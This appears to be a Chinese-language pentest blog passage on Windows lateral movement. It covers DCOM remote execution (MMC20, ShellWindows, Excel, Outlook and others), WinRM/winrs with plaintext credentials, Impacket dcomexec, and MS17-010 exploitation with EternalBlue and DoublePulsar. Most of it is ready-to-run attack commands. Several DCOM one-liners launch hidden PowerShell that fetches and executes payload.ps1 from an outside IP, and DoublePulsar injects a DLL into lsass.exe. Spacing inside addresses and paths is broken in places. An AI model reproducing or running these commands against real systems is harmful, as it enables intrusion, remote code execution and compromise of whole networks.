Get-CimInstance -classWin32_DCOMApplication | select appid,name Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication

DCOM横向前提

  1. 需要关闭系统防火墙
  2. 必须用友域管理员权限
  3. 在远程主机上执行命令时,必须使用域管的administrator账户或者目标主机具有管理员权限的账户

实验介绍

MMC20.Application远程执行命令

  1. 通过Powershell与DCOM进行远程交互,此外,我们只需要挺一个DCOM Pro个ID和一个IP地址,然后,它就从远程返回一个COM对象的实例

    $com =  [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0 .0.1")) 
  2. 然后执行如下命令,我们就可以调用”ExecuteShellCommand”方法在远程主机上启动进程

    $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c  calc.exe","Minimzed") 

    image-20230325192734436

  3. 将IP和命令换成上线的命令

    $com =  [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.1 68.41.147")) 
    $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c powershell.exe -nop -w hidden -c IEX ((new-object  net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))","Mini mzed")

    image-20230325192815603

    image-20230325192819563

ShellWindows远程执行命令

[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442- 00A0C90A8F39',"127.0.0.1")).item().Document.Application.ShellExecute("cmd.exe"," /c calc.exe","c:windowssystem32",$null,0)    打开本地计算器 

image-20230325192855502

[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442- 00A0C90A8F39',"192.168.41.147")).item().Document.Application.ShellExecute("cmd.e xe","/c powershell.exe -nop -w hidden -c IEX ((new-object  net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))","c:wi ndowssystem32",$null,0) 

image-20230325192904272

ShellBrowserWindow远程执行命令

适用于Windows 10和Windows Server 2012 R2等版本的系统。

[activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455- 00A0C91F3880","192.168.41.147")).Document.Application.shellExecute("cmd.exe","/c  powershell.exe -nop -w hidden -c IEX ((new-object  net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))","c:wi ndowssystem32",$null,0) 

image-20230325192936598

调用Excel.Application远程执行命令

目标主机中安装有excle

  1. 通过PowerShell与DCOM进行远程交互,创建Excel.Application对象的实例

    $com =  [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","192.1 68.41.147")) 
    $com.DisplayAlerts = $false 
    
    $com =  [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","127.0 .0.1"))
  2. 然后执行如下命令,我们就可以调用该对象的”DDEInitiate”方法在远程主机上启动进程

    $com.DDEInitiate("cmd.exe","/c 参数")

Visio.Application远程执行命令

目标主机中安装有Visio

[activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Application","192.1 68.52.138")).[0].Document.Application.shellExecute("C:shell.exe") 

Outlook.Application远程执行命令

目标主机中安装有Outlook

[activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.Application","192 .168.52.138")).createObject("Shell.Application").shellExecute("C:shell.exe") 

Impacket中的dcomexec.py

dcomexec.exe [domain/]username:password@ip  //创建一个交互式shell 
dcomexec.exe [domain/]username:password@ip command   // 执行命令 
dcomexec.exe [domain/]username:@ip -hashes [hash]    //hash传递 

image-20230325193225903

16. WinRM远程执行命令横向移动

WinRM介绍

WinRM(Windows远程管理)是Microsoft 在Windows中对WS-Management的实现,它使系统可以 跨通用网络访问或交换管理信息。利用脚本对象或内置的命令行工具,WinRM可以与可能具有基板管 理控制器(BMC)的任何远程计算机一起使用,以获取数据。也可以获取基于Windows的计算机(包 括WinRM)。 WinRM默认端口5985(HTTP端口)或5986(HTTPS端口),若配置了WINRM远程服 务,当我们拿到一个管理员账户时,可以使用远程连接进行命令执行操作

winrm通过HTTP(5985)或HTTPS SOAP(5986)端口来进行通信

Winrs.exe

Winrs.exe 是一个内置的命令行工具,它允许远程命令的执行在WinRm的适当的有资格的用户

winrs -r:http://127.0.0.1:5985 -u:administrator -p:Admin@123 "whoami" 
winrs -r:http://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx "ipconfig"  
winrs -r:https://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx "ipconfig" 
winrs -r:http://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx cmd 
winrs -r:https://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx cmd 
Invoke-Command -ComputerName TARGET -ScriptBlock { dir c:\ }    
Invoke-Command -ComputerName TARGET -Credential 域名\用户名 -command {Get-Culture} Invoke-Command -ComputerName TARGET -Credential 域名\用户名 -ScriptBlock {Get- Culture}
  1. 执行

    winrs -r:http://192.168.41.147:5985 -u:administrator -p:Admin@123 "whoami" 
  2. 提示:如果出现

    Winrs error:WinRM 客户端无法处理该请求。 可以在下列条件下将默认身份验证与 IP 地址结合使用:  传输为 HTTPS 或目标位于 TrustedHosts 列表中,并且提供了显式凭据。 使用 winrm.cmd 配置  TrustedHosts。请注意,TrustedHosts 列表中的计算机可能未经过身份验证。 有关如何设置  TrustedHosts 的详细信息,请运行以下命令 

    输入出现请输入

    winrm set winrm/config/Client @{TrustedHosts="*"}

17. 使用系统漏洞MS17010横向移动

Cobalt Strike 生成DLL

  1. 生成cs的生成bin文件

    image-20230325194034946

  2. 使用msf用bin文件生成dll文件

    msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x64 --platform windows - f dll -o wanli111.dll

    image-20230325194116715

  3. 或者直接生成也可以

    image-20230325194134949

原版ms17010渗透

  1. cs执行下面的命令

    Eternalblue-2.2.0.exe --TargetIp 192.168.41.168 --Target WIN72K8R2 -- DaveProxyPort=0 --NetworkTimeout 60 --TargetPort 445 --VerifyTarget True -- VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig  outlog.txt 

    image-20230325194209316

    Doublepulsar-1.3.1.exe --InConfig Doublepulsar-1.3.1.xml --TargetIp  192.168.41.168 --TargetPort 445 --Protocol SMB --Architecture x64 --Function  RunDLL --DllPayload 123.dll --payloadDllOrdinal 1 --ProcessName lsass.exe -- ProcessCommandLine "" --NetworkTimeout 60

    image-20230325194225674


文章作者: 吗喽の小屋
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 吗喽の小屋 !
  目录